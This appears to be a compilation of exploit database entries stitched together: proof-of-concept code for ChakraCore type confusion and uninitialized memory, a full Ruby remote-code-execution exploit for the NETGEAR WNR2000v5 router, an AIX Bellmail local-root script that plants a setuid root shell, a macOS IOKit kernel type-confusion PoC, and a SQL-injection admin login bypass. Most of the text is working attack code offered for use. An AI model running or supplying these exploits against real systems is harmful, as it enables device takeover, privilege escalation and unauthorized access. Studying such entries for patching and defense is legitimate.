The following code occurs in JavascriptSIMDObject::ToLocaleString in JavascriptSimdObject.cpp:
Var* newArgs = HeapNewArray(Var, numArgs);
switch (numArgs)
{
case 1:
break;
case 2:
newArgs[1] = args[1];
break;
case 3:
newArgs[1] = args[1];
newArgs[2] = args[2];
break;
default:
Assert(UNREACHED);
}
If the call has more than three arguments, it will fall through, leaving newArgs uninitialized. This will cause toLocaleString to be called on uninitialized memory, having a similar effect to type confusion (as integers in the memory can be confused for pointers and vice-versa). A minimal PoC is as follows, and a full PoC is attached:
var v = SIMD.Int32x4(1, 2, 3, 4);
v.toLocaleString(1, 2, 3, 4)
-->
<html><body><script>
try{
var v = SIMD.Int32x4(1, 2, 3, 4);
alert(v.toLocaleString(1, 2, 3, 4, 5, 6, 7));
}catch(e){
alert(e.message);
}
</script></body></html>
#
# Remote code execution in NETGEAR WNR2000v5
# - by Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
# Released on 20/12/2016
#
# NOTE: this exploit is "alpha" quality and has been deprecated. Please see the modules
# accepted into the Metasploit framework, or https://github.com/pedrib/PoC/tree/master/exploits/metasploit/wnr2000
#
#
# TODO:
# - randomise payload
require 'net/http'
require 'uri'
require 'time'
require 'digest'
require 'openssl'
require 'socket'
####################
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
TYPE_3 = 3
BREAK_3 = 128
DEG_3 = 31
SEP_3 = 3
@randtbl =
[
# we omit TYPE_3 from here, not needed
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
-615974602, 344556628, 939512070, -1249116260, 1507946756,
-812545463, 154635395, 1388815473, -1926676823, 525320961,
-1009028674, 968117788, -123449607, 1284210865, 435012392,
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
-205601318,
]
@unsafe_state = {
"fptr" => SEP_3,
"rptr" => 0,
"state" => 0,
"rand_type" => TYPE_3,
"rand_deg" => DEG_3,
"rand_sep" => SEP_3,
"end_ptr" => DEG_3
}
# Emulate the behaviour of C's srand
def srandom_r (seed)
state = @randtbl
if seed == 0
seed = 1
end
state[0] = seed
dst = 0
word = seed
kc = DEG_3
for i in 1..(kc-1)
hi = word / 127773
lo = word % 127773
word = 16807 * lo - 2836 * hi
if (word < 0)
word += 2147483647
end
dst += 1
state[dst] = word
end
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
@unsafe_state['rptr'] = 0
kc *= 10
kc -= 1
while (kc >= 0)
random_r
kc -= 1
end
end
# Emulate the behaviour of C's rand
def random_r
buf = @unsafe_state
state = buf['state']
fptr = buf['fptr']
rptr = buf['rptr']
end_ptr = buf['end_ptr']
val = @randtbl[fptr] += @randtbl[rptr]
result = (val >> 1) & 0x7fffffff
fptr += 1
if (fptr >= end_ptr)
fptr = state
rptr += 1
else
rptr += 1
if (rptr >= end_ptr)
rptr = state
end
end
buf['fptr'] = fptr
buf['rptr'] = rptr
result
end
#####################
#####################
# Ruby code ported from https://github.com/insanid/netgear-telenetenable
#
def telnetenable (username, password)
mac_pad = @mac.gsub(':', '').upcase.ljust(0x10,"\x00")
username_pad = username.ljust(0x10, "\x00")
password_pad = password.ljust(0x21, "\x00")
cleartext = (mac_pad + username_pad + password_pad).ljust(0x70, "\x00")
md5 = Digest::MD5.new
md5.update(cleartext)
payload = (md5.digest + cleartext).ljust(0x80, "\x00").unpack('N*').pack('V*')
secret_key = "AMBIT_TELNET_ENABLE+" + password
cipher = OpenSSL::Cipher::Cipher.new("bf-ecb").send :encrypt
cipher.key_len = secret_key.length
cipher.key = secret_key
cipher.padding = 0
binary_data = (cipher.update(payload) << cipher.final)
s = UDPSocket.new
s.send(binary_data.unpack('N*').pack('V*'), 0, @target.split(':')[0], 23)
end
#####################
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
# Default credentials for the router
USERNAME = "admin"
PASSWORD = "password"
def get_request(uri_str)
uri = URI.parse(uri_str)
http = Net::HTTP.new(uri.host, uri.port)
#http.set_debug_output($stdout)
request = Net::HTTP::Get.new(uri.request_uri)
request.basic_auth(USERNAME, PASSWORD)
http.request(request)
end
def post_request(uri_str, body)
uri = URI.parse(uri_str)
header = { 'Content-Type' => 'application/x-www-form-urlencoded' }
http = Net::HTTP.new(uri.host, uri.port)
#http.set_debug_output($stdout)
request = Net::HTTP::Post.new(uri.request_uri, header)
request.basic_auth(USERNAME, PASSWORD)
request.body = body
http.request(request)
end
def check
response = get_request("http://#{@target}/")
auth = response['WWW-Authenticate']
if auth != nil
if auth =~ /WNR2000v5/
puts "[+] Router is vulnerable and exploitable (WNR2000v5)."
return
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
puts "[-] Router is vulnerable, but this exploit might not work (WNR2000v3 or v4)."
return
end
end
puts "Router is not vulnerable."
end
def get_password
response = get_request("http://#{@target}/BRS_netgear_success.html")
if response.body =~ /var sn="([\w]*)";/
serial = $1
else
puts "[-]Failed to obtain serial number, bailing out..."
exit(1)
end
# 1: send serial number
response = post_request("http://#{@target}/apply_noauth.cgi?/unauth.cgi", "submit_flag=match_sn&serial_num=#{serial}&continue=+Continue+")
# 2: send answer to secret questions
response = post_request("http://#{@target}/apply_noauth.cgi?/securityquestions.cgi", \
"submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+")
# 3: PROFIT!!!
response = get_request("http://#{@target}/passwordrecovered.cgi")
if response.body =~ /Admin Password: (.*)<\/TD>/
password = $1
else
puts "[-] Failed to obtain admin password, bailing out..."
exit(1)
end
if response.body =~ /Admin Username: (.*)<\/TD>/
username = $1
else
puts "[-] Failed to obtain admin username, bailing out..."
exit(1)
end
puts "[+] Success! Got admin username #{username} and password #{password}"
return [username, password]
end
def get_current_time
response = get_request("http://#{@target}/")
date = response['Date']
Time.parse(date).strftime('%s').to_i
end
def get_auth_timestamp(mode)
if mode == "bof"
uri_str = "http://#{@target}/lang_check.html"
else
uri_str = "http://#{@target}/PWD_password.htm"
end
response = get_request(uri_str)
if response.code == 401
# try again, might fail the first time
response = get_request(uri_str)
if response.code == 200
if response.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
end
end
def got_shell
puts "[+] Success, shell incoming!"
exec("telnet #{@target.split(':')[0]}")
end
if ARGV.length < 2
puts "Usage: ./netgearPwn.rb <IP:PORT> <check|bof|telnet <MAC>> [noreboot]"
puts "\tcheck: see if the target is vulnerable"
puts "\tbof: run buffer overflow exploit on the target"
puts "\ttelnet <mac>: run telnet exploit on the target, needs MAC address"
puts "\tnoreboot: optional parameter - don't force a reboot on the target"
exit(1)
end
@target = ARGV[0]
mode = ARGV[1]
if (ARGV.length > 2 && ARGV[2] == "noreboot") || (ARGV.length > 3 && ARGV[3] == "noreboot")
reboot = false
else
reboot = true
end
if mode == "telnet"
if ARGV.length == 3
@mac = ARGV[2]
elsif ARGV.length == 4
@mac = ARGV[3]
else
puts "[-] telnet mode needs MAC address argument!"
exit(-1)
end
end
# Maximum time differential to try
# Look 5000 seconds back for the timestamp with reboot
# 500000 with no reboot
if reboot
TIME_OFFSET = 5000
else
TIME_OFFSET = 500000
end
# Increase this if you're sure the device is vulnerable and you're not getting a shell
TIME_SURPLUS = 200
if mode == "check"
check
exit(0)
end
if mode == "bof"
def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end
def calc_address (libc_base, offset)
addr = (libc_base + offset).to_s(16)
uri_encode(addr)
end
system_offset = 0x547D0
gadget = 0x2462C
libc_base = 0x2ab24000
payload = 'a' * 36 + # filler_1
calc_address(libc_base, system_offset) + # s0
'1111' + # s1
'2222' + # s2
'3333' + # s3
calc_address(libc_base, gadget) + # gadget
'b' * 0x40 + # filler_2
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
end
# 0: try to see if the default admin username and password are set
timestamp = get_auth_timestamp(mode)
# 1: reboot the router to get it to generate new timestamps
if reboot and timestamp == nil
response = post_request("http://#{@target}/apply_noauth.cgi?/reboot_waiting.htm", "submit_flag=reboot&yes=Yes")
if response.code == "200"
puts "[+] Successfully rebooted the router. Now wait two minutes for the router to restart..."
sleep 120
puts "[*] Connect to the WLAN or Ethernet now. You have one minute to comply."
sleep 60
else
puts "[-] Failed to reboot the router. Bailing out."
exit(-1)
end
puts "[*] Proceeding..."
end
# 2: get the current date from the router and parse it, but only if we are not authenticated...
if timestamp == nil
end_time = get_current_time
if end_time <= TIME_OFFSET
start_time = 0
else
start_time = end_time - TIME_OFFSET
end
end_time += TIME_SURPLUS
if end_time < (TIME_SURPLUS * 7.5).to_i
end_time = (TIME_SURPLUS * 7.5).to_i
end
puts "[+] Got time #{end_time} from router, starting exploitation attempt."
puts "[*] Be patient, this might take up a long time (typically a few minutes, but maybe an hour or more)."
end
if mode == "bof"
uri_str = "http://#{@target}/apply_noauth.cgi?/lang_check.html%20timestamp="
body = "submit_flag=select_language&hidden_lang_avi=#{payload}"
else
uri_str = "http://#{@target}/apply_noauth.cgi?/PWD_password.htm%20timestamp="
body = "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2"
end
# 3: work back from the current router time minus TIME_OFFSET
while true
for time in end_time.downto(start_time)
begin
if timestamp == nil
response = post_request(uri_str + get_timestamp(time).to_s, body)
else
response = post_request(uri_str + timestamp.to_s, body)
end
if response.code == "200"
# this only occurs in the telnet case
credentials = get_password
telnetenable(credentials[0], credentials[1])
sleep 5
got_shell
#puts "Done! Got admin username #{credentials[0]} and password #{credentials[1]}"
#puts "Use the telnetenable.py script (https://github.com/insanid/netgear-telenetenable) to enable telnet, and connect to port 23 to get a root shell!"
exit(0)
end
rescue EOFError
if reboot
sleep 0.2
else
# with no reboot we give the router more time to breathe
sleep 0.5
end
begin
s = TCPSocket.new(@target.split(':')[0], 23)
s.close
got_shell
rescue Errno::ECONNREFUSED
if timestamp != nil
# this is the case where we can get an authenticated timestamp but we could not execute code
# IT SHOULD NEVER HAPPEN
# But scream and continue just in case, it means there is a bug
puts "[-] Something went wrong. We can obtain the timestamp with the default credentials, but we could not execute code."
puts "[*] Let's try again..."
timestamp = get_auth_timestamp
end
next
end
rescue Net::ReadTimeout
# for bof case, we land here
got_shell
end
end
if timestamp == nil
start_time = end_time - (TIME_SURPLUS * 5)
end_time = end_time + (TIME_SURPLUS * 5)
puts "[*] Going for another round, increasing end time to #{end_time} and start time to #{start_time}"
end
end
# If we get here then the exploit failed
puts "[-] Exploit finished. Failed to get a shell!"
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=972
In Chakra, Internationlization is initialized the first time the Intl object is used, by executing the script in Intl.js (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/InJavascript/Intl.js). This code attempts to prevent Object methods from being redefined by user scripts, but there are a few stray calls to Object.defineProperty in initialization. If Object.defineProperty is redefined before Intl is initialized, a user-define method can be called during initialization. If this method defines a Collator (or DateTimeFormat or NumberFormat) getter and setter on the Intl object, it can intercept what it is set to, and set it to a different value instead. This will then cause type confusion in IntlEngineInterfaceExtensionObject::deletePrototypePropertyHelper (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/IntlEngineInterfaceExtensionObject.cpp), as this function assumes the properties of a Collator are objects, when they are not guaranteed to be. A minimal PoC is as follows, and a full PoC is attached.
var d = Object.defineProperty;
var noobj = {
get: function () {
return 0x1234567 >> 1;
},
set: function () {
}
};
function f(){
var i = Intl;
Intl = {}; // this somehow prevents an exception that prevents laoding
d(i, "Collator", noobj);
}
Object.defineProperty = f;
var q = new Intl.NumberFormat(["en"]);
</script></body></html>
-->
<html><body><script>
var d = Object.defineProperty;
var noobj = {
get: function () {
print("in get no");
return 0x1234567 >> 1;
},
set: function () {
print("in set no");
}
};
function f(...a){
var i = Intl;
Intl = {};
d(i, "Collator", noobj);
}
var pattern = {
get: function () {
return f;
},
set: function () {
}
};
Object.defineProperty(Object, "defineProperty", pattern);
var q = new Intl.NumberFormat(["en"]);
</script></body></html>
#!/usr/bin/sh
#
# CVE-2016-8972/bellmailroot.sh: IBM AIX Bellmail local root
#
# Affected versions:
# AIX 6.1, 7.1, 7.2
# VIOS 2.2.x
#
# Fileset Lower Level Upper Level KEY
# ---------------------------------------------------------
# bos.net.tcp.client 6.1.9.0 6.1.9.200 key_w_fs
# bos.net.tcp.client 7.1.3.0 7.1.3.47 key_w_fs
# bos.net.tcp.client 7.1.4.0 7.1.4.30 key_w_fs
# bos.net.tcp.client_core 7.2.0.0 7.2.0.1 key_w_fs
# bos.net.tcp.client_core 7.2.1.0 7.2.1.0 key_w_fs
#
# Ref: http://aix.software.ibm.com/aix/efixes/security/bellmail_advisory.asc
# Ref: https://rhinosecuritylabs.com/2016/12/21/unix-nostalgia-aix-bug-hunting-part-2-bellmail-privilege-escalation-cve-2016-8972/
# @hxmonsegur //RSL - https://www.rhinosecuritylabs.com
ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
VULNBIN=/usr/bin/bellmail
SUIDPROFILE=/etc/suid_profile
function ESCALATE
{
echo "[*] Preparing escalation"
$VULNBIN >/dev/null 2>&1 <<EOD
s /etc/suid_profile
EOD
if [ ! -w $SUIDPROFILE ]; then
echo "[-] $SUIDPROFILE is not writable. Exploit failed."
exit 1
fi
echo "[*] Clearing out $SUIDPROFILE"
echo > /etc/suid_profile
echo "[*] Injecting payload"
cat << EOF >$SUIDPROFILE
cp /bin/ksh $ROOTSHELL
/usr/bin/syscall setreuid 0 0
chown root:system $ROOTSHELL
chmod 6755 $ROOTSHELL
rm -f $SUIDPROFILE
EOF
echo "[*] Executing SUID to leverage privileges"
/usr/bin/ibstat -a >/dev/null 2>&1
if [ ! -x $ROOTSHELL ]; then
echo "[-] Root shell does not exist or is not executable. Exploit failed."
exit 1
fi
echo "[*] Escalating to root.."
$ROOTSHELL
echo "[*] Make sure to remove $ROOTSHELL"
}
echo "[*] IBM AIX 6.1, 7.1, 7.2 Bellmail Local root @hxmonsegur//RSL"
$VULNBIN -e
if [ $? -eq 0 ]
then
ESCALATE
echo "[*] Make sure to remove $ROOTSHELL"
exit 0
fi
echo "[*] Sending mail to non-existent user, force a bounce within ~minute"
/usr/bin/mail nonexistentuser <<EOD
.
.
.
EOD
echo "[*] Waiting for mail to come in."
while true
do
$VULNBIN -e
if [ $? -eq 0 ]
then
echo "[*] Mail found"
ESCALATE
break
else
echo "[-] Mail not received yet. Sleeping."
sleep 10
fi
done
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=974
There are two ways for IOServices to define their IOUserClient classes: they can
override IOService::newUserClient and allocate the correct type themselves
or they can set the IOUserClientClass key in their registry entry.
The default implementation of IOService::newUserClient does this:
IOReturn IOService::newUserClient( task_t owningTask, void * securityID,
UInt32 type, OSDictionary * properties,
IOUserClient ** handler )
{
const OSSymbol *userClientClass = 0;
IOUserClient *client;
OSObject *temp;
if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler ))
return kIOReturnSuccess;
// First try my own properties for a user client class name
temp = getProperty(gIOUserClientClassKey);
if (temp) {
if (OSDynamicCast(OSSymbol, temp))
userClientClass = (const OSSymbol *) temp;
else if (OSDynamicCast(OSString, temp)) {
userClientClass = OSSymbol::withString((OSString *) temp);
if (userClientClass)
setProperty(kIOUserClientClassKey,
(OSObject *) userClientClass);
}
}
// Didn't find one so lets just bomb out now without further ado.
if (!userClientClass)
return kIOReturnUnsupported;
// This reference is consumed by the IOServiceOpen call
temp = OSMetaClass::allocClassWithName(userClientClass);
if (!temp)
return kIOReturnNoMemory;
if (OSDynamicCast(IOUserClient, temp))
client = (IOUserClient *) temp;
else {
temp->release();
return kIOReturnUnsupported;
}
if ( !client->initWithTask(owningTask, securityID, type, properties) ) {
... continue on and call client->start(this) to connect the client to the service
This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit
reflection API to allocate it.
If an IOService doesn't want to have any IOUserClients then it has two options, either override
newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass
entry in the service's registry entry.
AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController
which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties,
including IOUserClientClass.
This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don't expect
to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to
a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more
investigation I'm sure you could build some very nice exploitation primitives with this bug.
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/
// ianbeer
// clang -o wrongclass wrongclass.c -framework IOKit -framework CoreFoundation
#if 0
MacOS kernel code execution due to writable privileged IOKit registry properties
There are two ways for IOServices to define their IOUserClient classes: they can
override IOService::newUserClient and allocate the correct type themselves
or they can set the IOUserClientClass key in their registry entry.
The default implementation of IOService::newUserClient does this:
IOReturn IOService::newUserClient( task_t owningTask, void * securityID,
UInt32 type, OSDictionary * properties,
IOUserClient ** handler )
{
const OSSymbol *userClientClass = 0;
IOUserClient *client;
OSObject *temp;
if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler ))
return kIOReturnSuccess;
// First try my own properties for a user client class name
temp = getProperty(gIOUserClientClassKey);
if (temp) {
if (OSDynamicCast(OSSymbol, temp))
userClientClass = (const OSSymbol *) temp;
else if (OSDynamicCast(OSString, temp)) {
userClientClass = OSSymbol::withString((OSString *) temp);
if (userClientClass)
setProperty(kIOUserClientClassKey,
(OSObject *) userClientClass);
}
}
// Didn't find one so lets just bomb out now without further ado.
if (!userClientClass)
return kIOReturnUnsupported;
// This reference is consumed by the IOServiceOpen call
temp = OSMetaClass::allocClassWithName(userClientClass);
if (!temp)
return kIOReturnNoMemory;
if (OSDynamicCast(IOUserClient, temp))
client = (IOUserClient *) temp;
else {
temp->release();
return kIOReturnUnsupported;
}
if ( !client->initWithTask(owningTask, securityID, type, properties) ) {
... continue on and call client->start(this) to connect the client to the service
This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit
reflection API to allocate it.
If an IOService doesn't want to have any IOUserClients then it has two options, either override
newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass
entry in the service's registry entry.
AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController
which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties,
including IOUserClientClass.
This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don't expect
to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to
a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more
investigation I'm sure you could build some very nice exploitation primitives with this bug.
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
int main(){
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleBroadcomBluetoothHostController"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 1;
}
printf("got service: %x\n", service);
// try to set the prop:
kern_return_t err;
err = IORegistryEntrySetCFProperty(
service,
CFSTR("IOUserClientClass"),
CFSTR("IGAccelSharedUserClient"));
if (err != KERN_SUCCESS){
printf("setProperty failed\n");
} else {
printf("set the property!!\n");
}
// open a userclient:
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 1;
}
printf("got userclient connection: %x\n", conn);
return 0;
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Admin login bypass via SQLi
[x] Vendor: http://software.friendsinwar.com/
[x] Script Name: My Click Counter
[x] Script Version: 1.0
[x] Script DL: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=15
[x] Author: AnarchyAngel AKA Adam
[x] Mail : anarchy[dot]ang31@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Navigate to scripts admin login page and submit ' or ''=' for username and password
it should give you access to the admin area. Enjoy >:)